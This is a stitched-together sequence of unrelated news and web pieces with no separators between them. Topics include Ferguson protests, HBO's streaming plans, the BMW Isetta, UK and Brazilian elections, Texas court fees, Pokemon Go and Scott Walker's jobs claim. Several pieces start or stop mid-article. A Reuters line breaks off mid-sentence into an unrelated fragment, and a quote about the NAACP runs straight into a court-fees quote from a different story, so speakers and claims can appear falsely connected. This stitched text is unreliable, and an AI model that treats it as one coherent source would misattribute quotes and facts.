"This (police) chief... is just inciting the crowd and making everybody angry," Davis said. "It just fueled the distrust that was already out there for the Ferguson police department."
Yet there were also some who said the robbery is not necessarily irrelevant to what happened next.
"A robbery doesn't justify shooting Mike Brown, but it definitely changes your perspective on his mindset at the time of police encounter," read one Twitter post from @OneTermTooMany.
'Police chiefs are watching'
The full, complicated story has stirred an intense, nationwide discussion on race in the United States, and on the shooting itself as well as the response to demonstrators afterward. Accusers accused some protesters of violence and looting, while many on the other side have ripped what they call an over-the-top, militarized police response.
So what's next?
There's still the possibility that action -- including, potentially, criminal charges -- could be taken against Officer Wilson. Then there's the potential for political fall-out affecting Missouri Gov. Jay Nixon or Ferguson's police chief.
And there's still a lot of anger about the shooting and the ensuing police response, and there are many angry people on the streets. A major rally is set for Sunday to demand action by authorities.
"This situation has been handled very badly," civil rights leader Jesse Jackson said Friday from Ferguson. "People here must turn their pain into power."
Undeterred by rain, people still made their voices heard Friday night on the streets of Ferguson -- some raising their hands up high, like they say Brown did before being shot dead by Officer Wilson.
"It's tragic what happened, but we're all united and working together," said Tiffany Greene. "It's not a race thing, it's a right-or-wrong thing."
The scene -- which mixed in chants and sign-holders with live music -- was a stark contrast to earlier in the week. Police used tear gas, rubber bullets and armored equipment, and accused some protesters of throwing rocks and Molotov cocktails.
One demonstrator, Charla Griffin, noted the peaceful and communal nature of Friday's gatherings, saying, "We're having a good time in the name of Michael Brown."
It's seemingly no coincidence that things calmed calmed significantly Thursday, which was the day the state highway patrol took over security. Rather than confront protesters, Johnson figuratively and literally has embraced them.
Talking later to CNN, the highway patrol captain said he thinks this whole ordeal -- as it relates to race relations between communities and law enforcement, as well as how authorities respond to protests -- "will create change throughout our nation." For example, he expects there will be talk about diversity training and tactics.
"This is all over the world, and I think police chiefs are watching -- deciding what they need to do and what they need to do better," he said.(Rob Pegoraro/Yahoo Tech)
Until last week, the “HBO argument” was a big reason people were hesitant to fire their cable or satellite-TV providers: HBO just wasn’t available any other way.
But now the tide is turning, and the HBO argument is losing its grip. The premium network’s revelation last week that it will start selling Internet-only subscriptions next year represents a major reversal for the company. The move was certainly expected … but only eventually. Not nearly this soon.
Not only has HBO done financially very well by tying access to its original programming to pay-TV subscriptions, but it is also owned by the entertainment conglomerate, Time Warner, that until 2009 ran the nation’s second-largest cable service, Time Warner Cable.
And HBO and TW executives had spent years declaring that online-only subscriptions offered no business advantage over their “TV Everywhere” strategy of forcing viewers of the HBO GO service to log in with a cable or satellite account.
Some even questioned whether any wave of cable-canceling “cord cutters” existed outside of the people whom Time Warner CEO Jeff Bewkes brushed off at 2012’s Cable Show convention in Boston as “economically challenged customers … many of [whom] didn’t even have broadband at home.”
Surprise! We exist. And HBO says it’s now getting ready to take our money.
HBO’s not enough, but it’s not alone
At the same time, it would be a mistake for cord-cutters such as myself to hoist any “Mission Accomplished” banners. For all the yammering online about the desperate need to watch Game of Thrones without a cable or satellite account, HBO by itself is not enough to sate even a casual viewer’s appetite.
(I’m assuming that HBO will not make this new standalone service deliberately unappealing — say, by charging more than the $18/month forecast of one analyst or by confining it to apps that won’t output video to a TV. Perhaps I’m being too optimistic.)
HBO, however, has significant company in this conversion. The day after its news broke, CBS announced that it, too, was launching an Internet-only service, a $5.99/month “All Access” offering that includes live streaming in 14 CBS markets.
And then Univision revealed that it would also start offering its content online.
Meanwhile, Verizon is moving forward with plans for an online-only mobile video service in which you wouldn’t have to buy dozens of channels you don’t want just to get the ones you do.
And across the border in Canada, the government is considering requiring cable operators to offer a la carte service. That has sufficiently enraged TV networks — Viacom executive Keith Murphy hyperventilated that it would end in “a consumer welfare destroying death spiral” — that some are threatening to move their channels to online-only distribution there.
So is cable doomed? No. Not when it (typically) offers by far the fastest broadband speeds for consumers. At TWC, for example, Internet-access subscribers already outnumber TV subscribers.
Sports are different. And stubborn.
I’ve been saying for years that the bogus value proposition of subscription TV doesn’t scale. The model, essentially, asks viewers to subsidize ever-larger bundles of unrelated channels to get the ones they want, as if they were the National Endowment for the Arts.
But the business model in sports networks is even less sustainable. Here you have immensely profitable sports teams — many playing in taxpayer-funded venues — setting up regional sports networks in partnership with cable or satellite operators. These “RSNs” then get bolted onto standard programing bundles across vast territories.
The result: Viewers get to subsidize a team they may outright hate, as if they were the National Endowment for Sports. Go ahead, ask a San Francisco Giants fan in Los Angeles about the appeal of underwriting the Dodgers through their SportsNet LA venture, for which TWC paid $8.35 billion for distribution rights.
And while all the major sports leagues have offered live-streaming video for years, they rarely let you watch your own city’s team, lest its RSN deal be threatened. At the NBA, for instance, the sales pitch for its League Pass invites you to pay $149 a season to “Watch your 5 favorite teams” — which for many hoops fans translates to “Watch your second- through sixth-favorite teams.”In Europe, tiny cars are a necessity. Narrow streets, high fuel prices, and limited space—in the cities, at least—make them ideal. It's the land of the Smart car, the Mini, and this little guy, the BMW Isetta.
With oil shortages in Europe, BMW (which was in financial difficulties at the time) needed a hit as its motorcycle business declined. It bought the rights to the little car from an Italian company and debuted the Isetta at the 1955 Frankfurt Auto show. It had a 12-horsepower, 247cc four-stroke engine which was later upgraded to a 297cc, 13hp unit, originally made for motorcycles. That might not seem like much, but the whole car weighed just 700 pounds, about the same as a big Harley-Davidson today. The engine drove the rear wheels, bringing the Isetta to a reported 50 mph top speed and delivering a whopping 70 mpg.
The car was a hit, with BMW producing more than 160,000 between 1955 and 1962, and we love it. It's fun, funky and practical—and the front of the car is the door! Sure it was horrifically unsafe, but just look at it!
These days, compared to the Isetta, BMW makes enormous cars with enormous horsepower numbers and comparatively terrible fuel economy. Most of that, of course, is because new cars aren't death traps. Modern cars have crumple zones and airbags and safety cages made out of boron steel. And that has, for better or worse, killed off the teeny tiny cars of the 50s.
The BMW Isetta is the ultimate tiny car. Small cars are fun to drive, they're zippy and the itty-bitty engines mean that you're pretty much always driving on the limit (see the Mazda Miata or Subaru BRZ). They can be funky and a break from the bland look that comes with mid-sized sedans. The Isetta was great for Europe in the 50s, but totally impractical for America, even if it gets 70 mpg.
Cool and fun as small cars can be, they don't sell in America, where big cars and trucks are the norm. Smaller, cheaper vehicles are reserved for younger folks buying their first new rides or more established folks who need a cheap way to get from point A to point B. Many millennial city-dwellers, who are the target market for small cars, choose not to have a car at all, instead using public transit or a bicycle or Uber to get around.
Small cars aren't practical for hauling large numbers of people or large amounts of stuff, and advances in fuel economy mean you can get a lot of miles per gallon from sedans and even SUVs. A decade ago, the Toyota Prius got 50 mpg, while competing cars were in the 20's or low 30's. Now, cars like the diesel VW Golf can get in the mid-40's, and even large cars can easily get into the low 30's.
"There's a stigma attached to the things," says Karl Brauer, an analyst at Kelley Blue Book. "When you drive a little car in Europe, you can be seen as a smart person who's trying to save money. You drive it here and that's not what people think."
"Gas prices are low, and driving a small car is wearing your financial lack of success or extreme view of trying to save the planet," says Brauer. "You cast an image when you drive a vehicle around like that."
Which is too bad. Safety and better fuel economy are great, but today's regulations, the physics of aerodynamics, and questionable consumer taste are producing cars that look increasingly similar and boring. We're not saying we want the Isetta itself back, that tin can is doing just fine in the past. But the auto industry could use more funky cool cars, especially at a price nearly anyone can afford. We'll even take a truck.MANOA, Hawaii, May 18 (UPI) -- Professional surfer Jill Hansen was arrested and charged with attempted murder after she allegedly used her vehicle to intentionally hit a 73-year-old woman.
Hansen, 30, was arrested Wednesday in Manoa after she allegedly fled the scene of the accident.
Police said she followed Elizabeth Conklin to her condo and witnesses then saw Hansen hit Conklin with her car. Hansen then reversed to attempt to hit Conklin a second time.
A bystander saw the incident and said he broke Hansen's rear window, at which point the surfer left the scene.
"He saw her in her car getting ready to hit me again. He totally saved my life," Conklin said of the bystander.
Hansen was being held on $1 million bail.
Conklin had cuts and bruises on her body and was taken to a hospital for treatment.The Bill and Melinda Gates Foundation has provided a $1.5 million planning grant to help the national center work with states and districts to get the program running, Mr. Tucker said. He estimated that start-up costs for school districts would be about $500 a student, to buy courses and tests and to train teachers.
To defray those costs, the eight states intend to apply for some of the $350 million in federal stimulus money designated for improving public school testing, Mr. Tucker said.
High school students will begin the new coursework in the fall of 2011 in Connecticut, Kentucky, Maine, New Hampshire, New Mexico, Pennsylvania, Rhode Island and Vermont. The education commissioners of those states have pledged to sign up 10 to 20 schools each for the pilot project, and have begun to reach out to district superintendents.
The project’s backers hope it will eventually spread to all schools in those states, and inspire other states to follow suit. Supporters include the National Association of Manufacturers and the National Education Association, the nation’s largest teachers’ union.
Kentucky’s commissioner of education, Terry Holliday, said high school graduation requirements there had long been based on having students accumulate enough course credits to graduate.
“This would reform that,” Dr. Holliday said. “We’ve been tied to seat time for 100 years. This would allow an approach based on subject mastery — a system based around move-on-when-ready.”
The new system aims to provide students with a clear outline of what they need to study to succeed, said Phil Daro, a consultant based in Berkeley, Calif., who is a member of an advisory committee for the effort.
Advertisement Continue reading the main story
School systems like Singapore’s promise students that if they diligently study the material in their course syllabuses, they will do well on their examinations, Mr. Daro said. “In the U.S., by contrast, all is murky,” he said. “Students do not have a clear idea of where to apply their effort, and the system makes no coherent attempt to reward learning.”
Its backers say the new system would reduce the need for community colleges to offer remedial courses because the passing score for the 10th-grade tests would be set at the level necessary to succeed in first-year college courses. Failure would provide 10th graders with an early warning system about the knowledge and skills they need to master in high school before seeking to enroll in college.
Currently, many high school graduates enrolling in community colleges are stunned to find that they cannot pass the math and English exams those colleges use to determine who need remediation.
Four years ago, a bipartisan panel of national education and other policy experts, assembled by the national center, recommended a far-reaching redesign of the American educational system, including the adoption of board examinations in high schools.
Other recommendations of the 2006 panel included giving states, rather than local districts, control over school financing, and starting school for most children at age 3. Mr. Tucker said the board examination project was the broadest effort at putting the panel’s proposals into effect so far.
“One hope is that this board exam system can prepare students to move on to careers, to higher ed and technical colleges and the workplace, sooner rather than later,” said Howard T. Everson, a professor of educational psychology at the City University of New York, who is co-chairman of the advisory committee.
In that respect, the effort is similar to the growing early college high school movement, in which students begin taking college-level courses while they are still in high school and earning college credit through nearby community colleges.Jamie Reed. Stefan Rousseau PA Wire/PA Images WHITEHAVEN, CUMBRIA — Labour campaigners were out in full force in Copeland this week amid the very real possibility that Jeremy Corbyn's party might surrender a seat it has controlled for nearly a century.
Last week, Labour MP Jamie Reed resigned as Copeland's MP, triggering a by-election which is expected to take place in February. In the past, it was a seat Labour could have banked on winning — having held it at every election since 1931 (under its previous name of Whitehaven).
But Copeland, a white, working-class stronghold on the Cumbrian coast six hours from London, is one of many rural seats Labour now risks losing. The Tories are currently the bookies' favourites to win here.
We travelled to Whitehaven, a small port town with a population that makes up most of the Copeland constituency. It has a communal feel. As you wander through the town people stop and chat to at least half the people they pass.
Like for other working-class communities in the north of England, one of the key issues is immigration. This was evident when Business Insider spoke to a number of campaigners and local councillors this week.
"If you go down Manchester way they don't really notice it [immigration]," one local Labour councillor told us. "Up here they do, especially when you've got Mr Farage banging the drum. That's why Nick Griffin got elected as the North West EU member. He got in on the pure fact that people here are scared to death of change."
He added: "When they were discussing the candidates [for local elections] the moment the possibility of two Workington people standing was mentioned they were all up in arms."
Workington is a town less than 10 miles north from Whitehaven up the Cumbrian coast. The councillor's comment, although accompanied by a chuckle, spoke of just how tightly-knit the area really is.
A Labour campaigner who we spoke to echoed the councillor's remarks. "We are a very closely-knitted community. We all know each other. You know when somebody is foreign," she said.
The Copeland Labour branch is yet to select its candidate for the upcoming by-election. Councillors told Business Insider that they expect the shortlist to be "eight to ten names long" and include both local hopefuls and candidates from outside the area.
But as we discussed who should succeed Reed, it became clear that the ideological divide that has stunted Labour at national level is also pushing the party to a precarious position at local level. There is a clear gulf in opinion between supporters of Corbyn and those more sympathetic to so-called'moderates', or 'Blairites', like Reed.
Two activists who didn't want to be named told us they had joined Labour on the back of Corbyn's election as leader. One said it was the first time he had joined a party in over two decades, after years of feeling unrepresented by the ruling political class.
Momentum, the group set up to support Corbyn and his policies, enjoys an increasing presence in the area, too. A meeting was due to take place on Wednesday evening at the local rugby club for growing numbers of members.
Whitehaven is a small port town in west Cumbria. Adam Payne/Business Insider
But while Corbynism may steadily be on the rise in western Cumbria, it remains dwarfed by traditional Labour politics. "At the end of the day, we don't do Corbyn here," one councillor told us.
He added: "Ordinary people will vote for what they know. I can't think of anything inspiring about Jeremy Corbyn. We voted for the Yvette Coopers and Andy Burnhams. Traditional, solid, sensible candidates. [Corbyn] won leadership elections and he's the boss. But if he leads Labour to slaughter then he has to go. If he chooses not to go then all hell will break loose. What's the point in a party if it can't win elections?"
Asked whether he thinks "slaughter" awaits Labour at 2020, he said: "I couldn't possibly comment. I'm an elected representative."
Reed, of course, is a well-documented critic of Corbyn. He described the leader as "reckless, juvenile and narcissistic" during a House of Commons debate on whether the Trident nuclear deterrent system should be renewed. "Jamie Reed is the most un-red man you've ever met in your life. He's an SDP man," the councillor added.
Labour's main line of attack when it comes to fending off the Tory threat will be the NHS. The local West Cumberland Hospital has struggled to cope with the effects of austerity and is a big issue for local people.
One activist told us: "People will struggle to vote for the Tories here considering how the government has stripped away and underfunded the hospital. That really resonates with people around here. They are not gullible. The situation on our high street and in our hospital is because of the austerity we have had."
Another councillor said: "Jeremy Hunt has an almost messianic vocation in life to redo the NHS. I don't actually know anyone who likes what's happening to the NHS. They're cutting back on funding for county council budgets and there's no welfare money. The budgets are being butchered. Hit them on the health service. They can't defend themselves."
Another reason some Labour members here are confident despite the projections of bookmakers is the size and enthusiasm of the party's ground campaign. Up until now, the Tories haven't exactly thrown money behind Conservative candidates in Copeland, while UKIP's resources in the north of the country have always been limited.
Labour activists campaigning in Whitehaven on Wednesday, December 28. Adam Payne/Business Insider
"We'll bury the Tories at that," a councillor said.
"I've been involved with campaigning for around 20 years and the Tories will have barely anyone up here on the ground. Yes, we are second favourites in the bookies but bookies make money from elections. We've been Labour here forever and we've seen massive growth in the local Labour party. We will out-march them."
But the prospect of Labour losing a seat that has been a consistent feature of the party's history is leaving many members understandably anxious. "The Tories were only 2,000 votes behind Jamie. I'm a bit nervous," one said.
Like many constituencies in this part of Britain, Labour's message is lost on some people who for years were loyal to the party. We spoke to a local man who had for decades backed Labour but due to "disillusionment" with them voted UKIP at the last election."The only politician worth anything on this earth is Donald Trump. If he does what he says he's gonna do then the world is going to be a better place," he told us.
Disenfranchisement was rife among residents of Whitehaven who spoke to us on Wednesday. "It doesn't matter who they are — it won't make a difference. They just promise things for the area and then do nothing," a pub owner said. "I couldn't care less [about the election] if I'm honest with you," a childhood friend of Jamie Reed said.
But these are the people Labour will have to convince if it is to avoid catastrophe and retain Copeland in the by-election. As a Leave-backing, white, working-class area in north-west England, it'll be a huge test of both Corbyn's leadership and just how relevant Labour still is to people living in areas like this. Right now, the Tories are licking their lips.Hometown: Auburn, NY.
Now Lives In: Penfield.
Birthday: August 31.
Family: The Bood Man and I have two college age kiddos, both Buffalo bound! Life is supposed to get quieter now but still no sign of that!
Things I love about my job: Well I hit the lottery again! I’m Terry Clifford and I’m lovin’ Middays! I have been here since the Age of the Dinosaur, OK, maybe not that long but close!! :) Since 1987, when WBEE hit the airwaves I have covered every air shift and many other jobs at The BEE, it is very much my “radio home”. Tragically, my alarm clock broke recently and rather than investing in a new one, I decided to fly solo!! I co-hosted The BEE Morning Coffee Club for 19 years with my partners in crime Bill Coffey, Fred Horton, Steve Hausmann and Jeremy Newman and then I was paroled!! Middays, the “bankers hours of radio” is where you will find me now, lovin’ life and sleeping in!! From the bottom of my heart Rochester, I thank you for supporting country music and WBEE for so long, please continue! Call me at 222-WBEE, text me at 94092*, tweet at @925WBEE or hit me up on facebook.com/WBEERochester! We’ll chat, play some requests, solve world problems and have a laugh, I do like to laugh!
*Message & data rates may apply. Frequency of automated marketing messages to your number is recurring & varies. Text STOP to cancel. Terms & conditions (http://www.entercom.com/terms-and-conditions#.V4-tFFc5nNU).FOR BUTTON-MASHING RELEASE
New Stephen Colbert Video Game Grinds Nation’s Productivity to Screeching Halt
Economy in Death Throes as Late Show Fans Tackle Thrilling 6-Bit Adventure
September 8th
LEVEL ONE—The global marketplace was dealt a King Hippo-strength knockout today as Stephen Colbert released his new video game, Escape from the Man-Sized Cabinet. Upon booting up the hotly anticipated office-adventure-RPG, workers around the globe abandoned their in-progress spreadsheets, PowerPoint presentations, and open heart surgeries in order to play the game nonstop.“It’s no wonder people love Escape from the Man-Sized Cabinet so much. It’s the world’s greatest Stephen Colbert simulator… unless my whole life is some kind of elaborate Matrix-like virtual reality,” said Stephen Colbert, Host and Secret Unlockable Character of the Late Show. “It’s so good, I’m ending this interview right now so that I can get back to playing. Up, up, down, down, right, left, right, left, B, A! Wait, I did me wrong.”Workers around the country have lost themselves in the immersive adventure story, staring glassy-eyed at their computer screens as a thin line of saliva drips unnoticed from their lower lip. With unproductivity at an all-time high, the Dow Jones Industrial Average has plummeted to its lowest point since Henry Paulson accidentally leaned against the “money dump” lever in 2008.Escape from the Man-Sized Cabinet is the first in what one imagines will be a long line of critically-acclaimed Stephen Colbert video games like Stephen the Hedgehog, Grand Theft Stephen, and Stephémon: Chartreuse Edition. It is currently supported on all Internet browsers at http://colbertlateshow.com/escape-from-the-man-sized-cabinet/, and will be made available for the Amiga later this year.Stephen Colbert will level up on “The Late Show with Stephen Colbert,” onon CBS.###Alberto RèalnamèCommunications Director and Non-Player CharacterThe Late Show with Stephen ColbertThe NAACP wants clown Tuffy Gessling investigated.
Texas Rep. Steve Stockman ripped the NAACP after the form civil rights group demanded an investigation of Tuffy Gessling the rodeo clown.
“The NAACP would better serve its constituents by focusing on ways to decrease unemployment among the black community.”
Ouch.
FOX News reported:
Calls by the Missouri chapter of the NAACP for a federal investigation into a rodeo clown who donned a President Obama mask at the state fair last week are misguided and hypocritical, a Texas Republican congressman told FoxNews.com on Thursday.
U.S. Rep. Steve Stockman, who has invited the clown who wore the mask to perform in Texas, said the request for probes into the incident by the Justice Department and Secret Service are “silly” and should be ignored.
“A rodeo clown is really a nominal thing and it hurt no one,” Stockman told FoxNews.com. “They didn’t speak out when George Bush was being portrayed as a murderer. To become relevant again, they need to become more of an honest broker and not have contrived anger.”
Stockman said the NAACP would better serve its constituents by focusing on ways to decrease unemployment among the black community. He also noted that the national civil rights group was silent after a July incident on a Florida bus where three black teens beat a fellow white student. Though Gulfport Police Chief Robert Vincent told Fox News the attack did not appear to be racially motivated, former Florida Rep. Allen West, who is black, chided Al Sharpton and Jesse Jackson, noting they condemned Florida’s laws in the wake of the Trayvon Martin shooting yet remained mum on the bus attack.“It’s like when you go to the hospital and get the bill, and it’s like, ‘What is all this?’” Canales said. “There are all kinds of fees that the average citizen doesn’t see them so much; he doesn’t even know that they’re around.”
The second issue was that some dues are used to finance programs unrelated to the courts. In fiscal year 2013, for example, court fees generated over $408 million for the state, but only about half went to the judiciary. Funds in the remaining half didn’t necessarily go to law enforcement or other criminal-justice-related programs either. Adding salt to the wound, city and county courts, which are primarily funded by local tax revenue, remain underfunded because of the way revenue is distributed.
To fix these issues, “the goal would be to simplify it down to as few [fines and fees] as possible,” Slayton said. “And then make sure that whatever filing fees and court costs are being collected are allocated to purposes related to the administration of that case.”
But that still may not be enough. The state of Texas has legislated itself into a situation where divestment from court-collected funds would require officials to conjure up significant alternative sources of money—not an easy task for lawmakers in a notoriously tax-averse state. Slayton acknowledged that obstacle: “I think the issue has been finding sources of revenue to fund these other programs.”
Texas is certainly not alone in its conundrum. A 2014 NPR investigation traced the roots of rising court fees to the tough-on-crime era that began in the 1970s. The increased number of prosecutions escalated the cost of running courts. States began to compensate by charging defendants, a practice that expanded over the ensuing decades and was accelerated by tightened state budgets. The NPR report found that between the 2008 financial crisis and 2014, 48 states increased criminal- and civil-court fees.
Recently, some reformists in Texas have had success using the courts, not the legislature, to get these levies expunged. In March, the Texas Court of Criminal Appeals found that part of one fee constituted an unconstitutional tax. The case, Salinas v. State, centered on a penalty charged to every criminal offender in the state; it costs between $40 and $133, depending on the severity of the crime. Ten percent of the money collected funds local court operations, while the other 90 percent was originally divided between 14 state programs.
The court found that the state shouldn’t have funneled revenue to two of them: a rehabilitation program for people with traumatic brain or spinal-cord injury, and a fund titled “Abused Children’s Counseling,” which for 10 years had been redirected to the state’s general-revenue coffers. Because these recipients were unrelated to the criminal-justice system, the money used to fund them constituted a tax unlawfully imposed by the judiciary, the presiding judge on the case, Sharon Keller, wrote in her opinion:
Because the constitutional infirmity in this case is the statute’s failure to direct the funds to be used in a manner that would make it a court cost (i.e., for something that is a criminal justice purpose), the fee operates unconstitutionally every time the fee is collected, making the statute unconstitutional on its face.
Following the ruling, the legislature quickly redirected the two programs’ revenues to indigent defense, and funneled money from the state’s general fund to keep the rehabilitation initiative going.Sen. Lindsey O. Graham (R-S.C.). (Andrew Harnik/AP)
Sen. Lindsey O. Graham (R-S.C.) called on President Trump to lay out his strategy toward Iran as the country faces its largest protests since 2009, saying such a move would help bolster the United States in its conflict with North Korea.
Predicting that the new year will be one of “opportunity and extreme danger,” Graham said Trump should withdraw from the Iran nuclear agreement in 2018 and give a national address explaining his approach.
Graham warned that North Korea is watching how the United States conducts itself as protests in Iran continue for a third day, and he said that Trump’s tweeting of support for the Iranian people is not an adequate response.
“The Iranians are watching us in North Korea, and North Korea is watching us in Iran,” Graham said in an interview with CBS’s “Face the Nation.” “We’ve got a chance here to deliver some fatal blows to really bad actors in 2018, but if we blink, God help us all.”
Graham spoke after two Iranian demonstrators were confirmed killed in the protests, which began Thursday in response to economic problems in the country. The demonstrations have since broadened into condemnation of the political and cultural repression in Iran.
Trump has tweeted several times in support of the demonstrators, writing Sunday that the United States is “watching very closely for human rights violations.”
But Graham, who called the protests evidence of former president Barack Obama’s foreign policy failures, said it’s “not enough to watch” and post on Twitter.
“President Trump is tweeting very sympathetically to the Iranian people, but you just can’t tweet here. You have to lay out a plan. If I were President Trump, I’d lay out a plan as to how I would engage the regime.”
On domestic policy, Graham said Congress should reach a deal on immigration, a border wall and the status of “dreamers” — undocumented immigrants who came to the United States as children — in January. He predicted that Republicans and Democrats will not “come together” on health care in 2018.TOKYO (Reuters) - The Japanese share market fell more than 3 percent on Monday |
the city.”
Another juror, Tim Nohe, had some questions about the Light City project. “I didn’t see the same sort of clarity of artistic vision in the lights project,” he says. “It’s easy to connect the artists and the vision and the throughline of the artistic scope [in the other projects] because they have a track record. You know them and their work well. But that’s something I couldn’t see in the lights project.”
This sentiment has been echoed by many others in the arts community who wish to remain anonymous because they fear for future funding if they criticize the festival: Out of the four finalists, Light City was the only project which did not actually involve artists who were currently making art work.For a moment, however, put aside the sudden revival of our interest in Pokémon and consider what this spurt tells us about the future of software and the nature of reality—and how they integrate into what we think of as entertainment.
Two years later, Hanke and his team have turned that joke into a reality. On July 6th, Niantic, which had since spun off from Google to become an independent company, released Pokémon Go—a game that encourages you to get out in the real world and use your mobile phone to catch Pokémon. (Pokémon, if you need a primer, are collectible creatures that players use to battle one another. They were first brought to gaming consoles by Nintendo in 1996, and in the early two-thousands they also populated an animated cartoon and stacks of playing cards that were ubiquitous among preteens.) Within two days of its release, Pokémon Go had been installed on 5.16 per cent of Android phones in the United States. In less than a week it has become the most downloaded app of the moment in Apple's App Store and has started sucking time from our days—forty-three minutes on average, according to SimilarWeb, more than Snapchat and Facebook. It has taken over Twitter, caused roving bands of nostalgic obsessives to convene on public spaces, and created discontent in relationships. To say it has spread like wildfire is to exaggerate the power of wildfires.
It started as an April Fool's joke. Google released a funny video that mashed up Google Maps and Pokémon. The video, released on April 1, 2014, went viral, drawing more than eighteen million views in all. “We thought, Why not try and make it real?” John Hanke said. Hanke is the C.E.O. of Niantic, which was then a project inside Google, developing mobile games using augmented and mixed-media reality.
Augmented reality is the “boy who cried wolf” of the post-Internet world—it’s long been promised but has rarely been delivered in a satisfying way. Augmented reality refers to a view of the real-world environment whose elements are overlaid (or augmented) with computer-generated images and sound. (It differs from virtual reality, where the real world is replaced by complete immersion in a computer-generated space.) I first fell in love with the idea of mixed-reality games in 2011, when I tried a beta version of the game Shadow Cities, developed by Grey Area, a company based in Helsinki. It used locations and people from your real life, and put them in a game-like environment placed over real maps. What got me was how the game turned my real life into an alternative universe, and turned the familiar into part of a fantasy. The game involved walking, which was an added bonus for someone who has struggled with his weight.
I was hooked, and since then have been paying close attention to augmented-reality applications. None of them have gone mainstream, even those developed by IKEA and Lego using augmented-reality technology from Metaio, a company that was later acquired by Apple. Over the past few years, I have seen many examples of companies that combine augmented reality, advertising, and sports, but most failed to impress me, because I couldn’t figure out what they were doing for me. They didn’t make me more productive, like Slack or Quip, and they didn’t provide fun, like Facebook or Clash of Clans.
In 2012, Niantic created an augmented-reality game for Android called Ingress. It became a cult hit, and was released on the iOS platform in 2014. Niantic was looking for its next game when the April Fools' Day joke became a viral smash. It was a sign of what people wanted. "We pitched that to the Pokémon Company, and what we found was that they were thinking along the same lines," Hanke said. (Nintendo owns a third of the Pokémon Company and is also an investor in Niantic.)
Pokémon Go, which involves trying to “catch” Pikachu or Squirtle or other creatures with your smartphone, is an inherently social experience. You need to be walking around—on the streets, in public places—to catch the Pokémon. Open the app and, pretty much wherever you are, you could be alerted that there is a Pokémon in the vicinity. The other day, I had some time to spare at the San Francisco airport, so I started looking. An animated version of Google Maps popped up on my screen, along with indications that there might be Pokémon around. The more you move around, the more creatures you find. I found only one, but I got a good workout. More important, the game made me happy; it had served a real function.
The technology to make this happen is something we haven't seen applied before in gaming. Whereas a typical massively multiplayer online game is decentralized among different servers and players, Niantic wanted to create a single source for its game. This requires extraordinary computing power and a fundamental rethinking of how gaming software is written. If a system is fragmented, all users might not be getting new information at the exact same time. Financial-trading systems also run on a single source, because everyone needs to know the correct price of a stock at the same time. “Since everything is changing constantly, this is more like a real-time financial system,” Hanke said, pointing out that the usage on Niantic’s system was “a lot, even by Google standards.”
Hanke has long been interested in mapping and the interplay of our physical and digital worlds. He was the founder of Keyhole, a startup that was acquired by Google and renamed Google Earth. During our conversation, he pointed out that Google Earth was made possible by a convergence of digital photography, broadband networks, mapping, and the small near-Earth satellites that emerged around that time. Augmented reality, he said, is on a similar track—powerful smartphones, faster and more robust networks, a new generation of computer infrastructure, and data collection are all converging.
For those who have been believers in augmented reality, these are exciting times. Riku Suomela joined Nokia Research in 1999 and started playing around with head-mounted displays to experiment with augmented reality. It was clear to Suomela that it would be a while before the technology went mainstream. "I have been thinking Pokémon Go could be the product that creates the market for augmented- and mixed-reality gaming, and I am optimistic this is happening now," Suomela—who has since started a new company, Lume Games, which competes with Niantic—said. Ville Vesterinen, the co-founder of Grey Area, said in an e-mail that “now is an ideal time” for work on “location-based games (you can call them AR if you like).” He pointed out that the number of people with mobile devices has grown considerably since his company released Shadow Cities.
For the past few days, I have been playing Pokémon Go and thinking about what it means. This weekend I went to the recently opened San Francisco Museum of Modern Art and wanted to know everything about the art and various installations, beyond what was posted on the walls. I felt as if I should be able to lift my phone and get more details on the process of the creation of the art work, rather than having to type a search term into my browser. Pokémon Go had changed my expectations on how to access information. That shift in expectation, perhaps, is the game's true importance.
I keep going back to “Rainbows End,” a book by the science-fiction writer Vernor Vinge. The book, published in 2006, is about a character recovering from Alzheimer's disease and learning to deal with the world around him, but what stands out is the world Vinge created. In his fictional world, computing has become miniaturized to such an extent that it’s almost invisible, woven into bodies and clothing. People interact with computers via myriad gestures. Augmented-reality interfaces replace screens as we know them, making it simple to get access to schematics for an elevator, patient records, or a drawing to fix a car.
“Rainbows End” was set in San Diego of 2025. That might seem too soon, but the future often arrives suddenly. And disruption often starts as a joke.Image caption Francisco Everardo Oliveira Silva is expected to be voted in by more than a million people
A Brazilian clown who is a favourite to win a seat in congress in Sunday's elections has been challenged to prove he can read and write.
Polls suggest the clown known as Tiririca will win more than a million votes.
But a judge in Sao Paulo has demanded he demonstrate that he meets the literacy requirement for elected office.
Newspapers have reported that, like one-in-10 Brazilians, he is illiterate.
Tiririca - which means "Grumpy" in colloquial Portuguese - has been the sensation of the election campaign, with humorous campaign adverts on YouTube that have attracted millions of hits.
His campaign slogans include "It can't get any worse" and "What does a federal deputy do? Truly, I don't know. But vote for me and I will find out for you."
The judge said wanted him to take a literacy test after the magazine "Epoca" posted a video in which he appeared to struggle to read.
The electoral court says it is too late to stop his candidacy, but he could be removed from office if he fails to show he can read and write after the election.
Celebrity candidates
Tiririca, whose real name is Francisco Everardo Oliveira Silva, started working in a circus at the age of eight in the impoverished north-eastern state of Ceara, and is now a TV comedian.
He is one of dozens of candidates from the world of sport and show-business fighting for one of the lower house of parliament's 513 seats, alongside experienced politicians.
BRAZIL ELECTIONS 3 OCTOBER Presidential first round (second round on 31 October if no candidate gets at least 50% +1 of valid votes)
Governors of all 26 states and the federal district
Representatives of state legislatures
513 federal deputies
Two-thirds (54) of the 81 Senate seats Brazil election: Candidate profiles
In all there are more than 6,000 candidates from 27 parties.
Another candidate who is predicted to win a landslide victory is the ex-footballer Romario, hero of Brazil's 1994 World Cup victory.
The way the Chamber of Deputies is formed - by an open-list proportional representation system - makes it easier for celebrity candidates to win office.
Analysts say their popularity also reflects a strand of disillusion with mainstream politicians, following numerous corruption scandals.Says potential Democratic opponent Mary Burke "implemented the policies of Jim Doyle. Those are the policies that, in his last term, saw the state lose more than 133,000 jobs."
Gov. Scott Walker took an early swipe at a likely Democratic opponent, by criticizing his predecessor’s record on jobs.
On Aug. 30, 2013, Walker brought up jobs when discussing Democrat Mary Burke, who is considering a gubernatorial run in 2014. A former Trek bicycles executive, Burke served as state commerce secretary for two and a half years under former Gov. Jim Doyle.
Walker, who has not officially launched his re-election campaign, said in an interview with Wisconsin Eye that electing Burke would be a mistake and a return to the past. Burke, he said, "implemented the policies of Jim Doyle. Those are the policies that, in his last term, saw the state lose more than 133,000 jobs."
We’ve been tracking Walker’s promise to create 250,000 private sector jobs in his four-year term. The state has added 84,482 jobs in the two and a half years since Walker took office, according to our most recent monthly Walk-O-Meter update.
